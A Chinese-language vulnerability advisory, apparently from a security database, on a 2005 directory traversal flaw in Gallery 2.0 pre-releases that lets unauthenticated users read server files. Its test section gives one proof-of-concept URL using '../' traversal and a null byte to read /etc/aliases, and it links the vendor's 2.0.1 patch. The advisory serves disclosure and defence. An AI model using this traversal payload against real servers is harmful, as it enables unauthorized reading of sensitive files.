发布日期：2005-10-17
更新日期：2005-10-17

受影响系统：

Gallery Gallery 2.0 Beta 3
Gallery Gallery 2.0 Beta 2
Gallery Gallery 2.0 Beta 1
Gallery Gallery 2.0 Alpha 4
Gallery Gallery 2.0 Alpha 3
Gallery Gallery 2.0 Alpha 2
Gallery Gallery 2.0 Alpha 1
Gallery Gallery 2.0

不受影响系统：

Gallery Gallery Remote
Gallery Gallery 2.0.1
Gallery Gallery 1.x

描述：

---

BUGTRAQ  ID: 15108

Gallery是基于Web的开放源码相册管理器。

Gallery中存在目录遍历漏洞，攻击者可以通过特制的url无需登录便访问服务器中webserver可访问的任意文件，导致泄漏敏感信息。

<*来源：Michael Dipper （micha@dipper.info）
        Bharat Mediratta （bharat@menalto.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112931748803188&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://example.com/gallery2/main.php?g2_itemId=/../../../../../../../etc/aliases%00

建议：

---

厂商补丁：

Gallery
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

* Gallery Upgrade gallery-2.0.1-typical.tar.gz
http://prdownloads.sourceforge.net/gallery/gallery-2.0.1-typical.tar.gz

浏览次数：4024
严重程度：0（网友投票）